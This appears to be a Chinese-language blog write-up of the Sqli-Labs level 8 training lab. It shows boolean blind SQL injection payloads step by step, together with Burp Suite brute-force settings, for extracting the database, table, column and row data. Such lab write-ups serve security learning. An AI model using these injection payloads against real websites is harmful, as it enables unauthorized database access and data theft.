打靶Sqli-Labs记录--08关

184 阅读5分钟

一.前置知识

自学web安全day08--SQL注入--(基础03)布尔盲注与时间盲注 - 掘金 (juejin.cn)

二.打靶过程

1.判断是否存在SQL注入漏洞

进入靶场

image.png

URL中输入:?id=1 and 1=1

image.png

在URL中输入以下试验点 ?id=1,满足SQL注入的两个关键点

1.用户对输入的内容可控

2.Web应用会把用户提交的数据带到数据库中去执行

2.判断SQL注入类型

试验点1:?id=1 and 1=1

image.png

试验点2:?id=1 and 1=2

image.png

试验点3:?id=1asd(显示)

image.png

试验点4:?id=1asd'(不显示)

image.png

试验点1和试验点2结果相同,

结合试验点3和4说明存在字符型SQL注入,且属于布尔盲注(正确显示一种,错误显示一种,且无任何报错信息)

3.获取数据库长度

试验点1:?id=1' and length(database())>3 and length(database())<10%23

说明数据库长度大于3小于10,[4,9]之间

image.png

试验点2:?id=1' and length(database())=7%23

image.png

试验点3:?id=1' and length(database())=8%23

说明数据库长度为8

image.png

4.获取数据库名

  • 已知:数据库长度为8

利用ascii函数、substr函数、limit子句对数据库长度的每个字符进行猜解

示例:?id=1' and ascii(substr(database(),1,1))=32%23

说明第一个字符的ascii值不是32

image.png

利用BurpSuite进行爆破,装载payload

说明,在URL编码中%20代表空格,%27代表单引号

image.png

payload1处从1到8如下设置

image.png

payload2处从32到126如下设置

image.png

攻击方式用Cluster Bomb集束炸弹模式

总共会进行8x95=760次尝试爆破

结果如下,数据库名称为security

image.png

5.获取表的数量

示例:?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23

也可以用BurpSuite爆破,或者人工测试数字0~10等,最后得到security数据库有4个表

image.png

6.获取表的长度

示例:?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6%23

由于只显示一条,需要limit子句一行一行输出,可以得知第一个表名长度为4

image.png

进行BurpSuite爆破,payload设置如下

image.png

第一个位置从0~3表示第几张表(第1张到第4张)

image.png

第二个位置从1~30开始,表示该表的长度

image.png

进行ClusterBoob集束炸弹

image.png

7.获取表的名字

  • 已知:第一张表长为6
  • 已知:第二张表长为8
  • 已知:第三张表长为7
  • 已知:第四张表长为5

image.png

但是由于只显示一条,还需要limit子句一行一行输出

示例优化: ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 %23

可知第一个表的第一个字是e

image.png

利用BurpSuite进行爆破,payload点如下 image.png

第一个点:第几个表,范围0~3,表示从第1张表到第4张表

image.png

第二个点:某个表的第几个字符,范围1该表表长,可以取4个表最大的表长也就是8,即18(如果超出了表长会返回空字符串)

image.png

第三个点:字符ascii值,确定该字符的ascii值,范围31~126

image.png

开始ClusterBoob爆破

根据结果Render显示,可知以下是正确结果

image.png

即第一个表名ascii值(加号表示连接符便于后面换算为字符):101+109+97+105+108+115,名字即为emails

第二个表名ascii值:114+101+102+101+114+101+114+115,名字即为referers

第三个表名ascii值:117+97+103+101+110+116+115,名字即为uagents

第四个表名ascii值:117+115+101+114+115,名字即为users

8.获取字段数量

  • 已知:emails表来自security数据库

示例1:?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 %23

--要注意:在整个数据库系统可能不止一个emails表,因此需要备注该表的数据库

示例1优化:?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema='security')=2 %23

image.png

因此可知,该emails表有2个字段

9.获取字段长度

  • 已知:emails表来自security数据库
  • 已知:emails表有2个字段

示例1:?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1))=2%23

示例2:?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 1,1),1))=8%23

说明第1个字段长度为2,第2个字段长度为8

image.png

对字段信息进行字符猜解,需要BurpSuite进行爆破

payload点设置如下

image.png

采用ClusterBoob攻击模式

payload1表示第几个字段,范围0~1(limit从0开始表示第1个)

image.png

payload2表示该字段的第几个字符,范围1~8(因为有2个字段,所以取两者中的最大字段长度)

image.png

payload3表示该字符的ascii值,范围32126(031和127是控制字符)

image.png

开始爆破,共计1520次,结果如下

查对应的ascii表,可知第1个字段名为:105(i)+100(d) --id

第2个字段名为:101(e)+109(m)+97(a)+105(i)+108(l)+95(_)+105(i)+100(d) --email_id

image.png

10.获取字段数据

示例1:?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49%23

id的第一个字段数据为1

对此进行爆破,payload如下 image.png

payload1:表示字段信息的第几个位置,范围:0~50(把范围扩大了搜)

image.png

payload2:表示字段信息该位置的字符ascii值(31~126)

image.png

进行ClusterBoob攻击,共进行4896次,爆破结果如下

说明id字段的信息为:49(1)+44(,)+50(2)+44(,)+51(3)+44(,)+52(4)+44(,)+53(5)+44(,)+54(6)+44(,)+55(7)+44(,)+56(8)

即id=1,2,3,4,5,6,7,8

逗号来自于group_concat的分隔符是逗号

image.png